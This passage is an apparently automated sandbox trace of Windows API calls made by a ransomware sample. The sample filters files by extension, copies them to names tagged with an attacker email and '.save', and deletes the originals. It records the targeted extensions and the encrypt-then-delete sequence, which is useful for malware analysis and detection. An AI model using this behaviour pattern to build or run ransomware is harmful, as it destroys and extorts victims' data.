(lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0052.798] lstrlenW (lpString=".zip") returned 4 [0052.798] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.798] lstrlenW (lpString=".rar") returned 4 [0052.798] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.798] lstrlenW (lpString=".bz2") returned 4 [0052.798] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.798] lstrlenW (lpString=".7z") returned 3 [0052.798] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0052.798] lstrlenW (lpString=".dbf") returned 4 [0052.798] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0052.798] lstrlenW (lpString=".1cd") returned 4 [0052.798] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0052.798] lstrlenW (lpString=".jpg") returned 4 [0052.798] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0052.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0052.798] lstrlenW (lpString=".doc") returned 4 [0052.798] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0052.798] lstrlenW (lpString=".docx") returned 5 [0052.798] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0052.798] lstrlenW (lpString=".pdf") returned 4 [0052.798] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0052.798] lstrlenW (lpString=".xls") returned 4 [0052.798] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0052.798] lstrlenW (lpString=".xlsx") returned 5 [0052.798] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0052.798] lstrlenW (lpString=".ppt") returned 4 [0052.798] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0052.798] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0052.798] lstrlenW (lpString=".zip") returned 4 [0052.799] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0052.799] lstrlenW (lpString=".rar") returned 4 [0052.799] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0052.799] lstrlenW (lpString=".bz2") returned 4 [0052.799] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0052.799] lstrlenW (lpString=".7z") returned 3 [0052.799] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0052.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0052.799] lstrlenW (lpString=".dbf") returned 4 [0052.799] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0052.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0052.799] lstrlenW (lpString=".1cd") returned 4 [0052.799] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0052.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0052.799] lstrlenW (lpString=".jpg") returned 4 [0052.799] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0052.799] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0052.799] lstrlenW (lpString="LocalizedData.xml") returned 17 [0052.799] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.799] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=81482) returned 1 [0052.799] CloseHandle (hObject=0x304) returned 1 [0052.800] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0052.800] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.800] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.800] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.800] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.800] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.800] GetLastError () returned 0x0 [0052.800] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x13e4a, lpOverlapped=0x0) returned 1 [0052.803] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x13e50, lpOverlapped=0x0) returned 1 [0052.805] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.805] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xf6, lpOverlapped=0x0) returned 1 [0052.805] SetEndOfFile (hFile=0x308) returned 1 [0052.805] CloseHandle (hObject=0x308) returned 1 [0052.808] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.808] SetEndOfFile (hFile=0x304) returned 1 [0052.809] CloseHandle (hObject=0x304) returned 1 [0052.809] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.810] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0052.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0052.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0052.810] lstrlenW (lpString=".doc") returned 4 [0052.810] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.810] lstrlenW (lpString=".docx") returned 5 [0052.810] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.810] lstrlenW (lpString=".pdf") returned 4 [0052.810] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.810] lstrlenW (lpString=".xls") returned 4 [0052.810] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.810] lstrlenW (lpString=".xlsx") returned 5 [0052.810] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.810] lstrlenW (lpString=".ppt") returned 4 [0052.810] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0052.810] lstrlenW (lpString=".zip") returned 4 [0052.810] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.810] lstrlenW (lpString=".rar") returned 4 [0052.810] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.810] lstrlenW (lpString=".bz2") returned 4 [0052.810] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.810] lstrlenW (lpString=".7z") returned 3 [0052.810] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0052.810] lstrlenW (lpString=".dbf") returned 4 [0052.810] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0052.811] lstrlenW (lpString=".1cd") returned 4 [0052.811] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0052.811] lstrlenW (lpString=".jpg") returned 4 [0052.811] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0052.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0052.811] lstrlenW (lpString=".doc") returned 4 [0052.811] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0052.811] lstrlenW (lpString=".docx") returned 5 [0052.811] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0052.811] lstrlenW (lpString=".pdf") returned 4 [0052.811] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0052.811] lstrlenW (lpString=".xls") returned 4 [0052.811] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0052.811] lstrlenW (lpString=".xlsx") returned 5 [0052.811] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0052.811] lstrlenW (lpString=".ppt") returned 4 [0052.811] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0052.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0052.811] lstrlenW (lpString=".zip") returned 4 [0052.811] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0052.811] lstrlenW (lpString=".rar") returned 4 [0052.811] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0052.811] lstrlenW (lpString=".bz2") returned 4 [0052.811] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0052.811] lstrlenW (lpString=".7z") returned 3 [0052.811] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0052.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0052.811] lstrlenW (lpString=".dbf") returned 4 [0052.811] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0052.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0052.811] lstrlenW (lpString=".1cd") returned 4 [0052.812] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0052.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0052.812] lstrlenW (lpString=".jpg") returned 4 [0052.812] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0052.812] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0052.812] lstrlenW (lpString="eula.rtf") returned 8 [0052.812] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.814] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3865) returned 1 [0052.814] CloseHandle (hObject=0x304) returned 1 [0052.814] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0052.814] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.814] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0052.814] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.814] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.814] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.815] GetLastError () returned 0x0 [0052.815] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xf19, lpOverlapped=0x0) returned 1 [0053.364] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xf20, lpOverlapped=0x0) returned 1 [0053.365] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0053.367] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe4, lpOverlapped=0x0) returned 1 [0053.367] SetEndOfFile (hFile=0x308) returned 1 [0053.368] CloseHandle (hObject=0x308) returned 1 [0053.368] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.369] SetEndOfFile (hFile=0x304) returned 1 [0053.369] CloseHandle (hObject=0x304) returned 1 [0053.369] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.370] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0053.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0053.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0053.370] lstrlenW (lpString=".doc") returned 4 [0053.370] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0053.370] lstrlenW (lpString=".docx") returned 5 [0053.370] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0053.370] lstrlenW (lpString=".pdf") returned 4 [0053.370] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0053.370] lstrlenW (lpString=".xls") returned 4 [0053.370] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0053.370] lstrlenW (lpString=".xlsx") returned 5 [0053.370] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0053.370] lstrlenW (lpString=".ppt") returned 4 [0053.371] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0053.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0053.371] lstrlenW (lpString=".zip") returned 4 [0053.371] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0053.371] lstrlenW (lpString=".rar") returned 4 [0053.371] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0053.371] lstrlenW (lpString=".bz2") returned 4 [0053.371] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0053.371] lstrlenW (lpString=".7z") returned 3 [0053.371] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0053.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0053.371] lstrlenW (lpString=".dbf") returned 4 [0053.371] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0053.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0053.371] lstrlenW (lpString=".1cd") returned 4 [0053.371] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0053.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0053.371] lstrlenW (lpString=".jpg") returned 4 [0053.371] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0053.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0053.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0053.371] lstrlenW (lpString=".doc") returned 4 [0053.371] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0053.371] lstrlenW (lpString=".docx") returned 5 [0053.371] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0053.371] lstrlenW (lpString=".pdf") returned 4 [0053.371] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0053.371] lstrlenW (lpString=".xls") returned 4 [0053.371] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0053.371] lstrlenW (lpString=".xlsx") returned 5 [0053.371] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0053.372] lstrlenW (lpString=".ppt") returned 4 [0053.372] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0053.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0053.372] lstrlenW (lpString=".zip") returned 4 [0053.372] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0053.372] lstrlenW (lpString=".rar") returned 4 [0053.372] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0053.372] lstrlenW (lpString=".bz2") returned 4 [0053.372] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0053.372] lstrlenW (lpString=".7z") returned 3 [0053.372] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0053.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0053.372] lstrlenW (lpString=".dbf") returned 4 [0053.372] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0053.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0053.372] lstrlenW (lpString=".1cd") returned 4 [0053.372] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0053.372] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0053.372] lstrlenW (lpString=".jpg") returned 4 [0053.372] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0053.372] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0053.372] lstrlenW (lpString="LocalizedData.xml") returned 17 [0053.372] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0053.373] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=60816) returned 1 [0053.373] CloseHandle (hObject=0x304) returned 1 [0053.373] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0053.373] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.373] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0053.373] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.373] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.373] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0053.373] GetLastError () returned 0x0 [0053.373] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xed90, lpOverlapped=0x0) returned 1 [0053.376] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xeda0, lpOverlapped=0x0) returned 1 [0053.378] ReadFile (in: hFile=0x304, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0053.378] WriteFile (in: hFile=0x308, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xf6, lpOverlapped=0x0) returned 1 [0053.378] SetEndOfFile (hFile=0x308) returned 1 [0053.378] CloseHandle (hObject=0x308) returned 1 [0053.381] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.381] SetEndOfFile (hFile=0x304) returned 1 [0053.382] CloseHandle (hObject=0x304) returned 1 [0053.382] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.382] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1 [0053.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0053.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0053.382] lstrlenW (lpString=".doc") returned 4 [0053.383] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.383] lstrlenW (lpString=".docx") returned 5 [0053.383] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.383] lstrlenW (lpString=".pdf") returned 4 [0053.383] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.383] lstrlenW (lpString=".xls") returned 4 [0053.383] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.383] lstrlenW (lpString=".xlsx") returned 5 [0053.383] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.383] lstrlenW (lpString=".ppt") returned 4 [0053.383] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0053.383] lstrlenW (lpString=".zip") returned 4 [0053.383] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.383] lstrlenW (lpString=".rar") returned 4 [0053.383] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.383] lstrlenW (lpString=".bz2") returned 4 [0053.383] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.383] lstrlenW (lpString=".7z") returned 3 [0053.383] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0053.383] lstrlenW (lpString=".dbf") returned 4 [0053.383] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0053.383] lstrlenW (lpString=".1cd") returned 4 [0053.383] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0053.383] lstrlenW (lpString=".jpg") returned 4 [0053.383] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0053.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0053.384] lstrlenW (lpString=".doc") returned 4 [0053.384] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.384] lstrlenW (lpString=".docx") returned 5 [0053.384] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.384] lstrlenW (lpString=".pdf") returned 4 [0053.384] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.384] lstrlenW (lpString=".xls") returned 4 [0053.384] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.384] lstrlenW (lpString=".xlsx") returned 5 [0053.384] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.384] lstrlenW (lpString=".ppt") returned 4 [0053.384] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0053.384] lstrlenW (lpString=".zip") returned 4 [0053.384] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.384] lstrlenW (lpString=".rar") returned 4 [0053.384] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.384] lstrlenW (lpString=".bz2") returned 4 [0053.384] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.384] lstrlenW (lpString=".7z") returned 3 [0053.384] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0053.384] lstrlenW (lpString=".dbf") returned 4 [0053.384] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0053.384] lstrlenW (lpString=".1cd") returned 4 [0053.384] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned 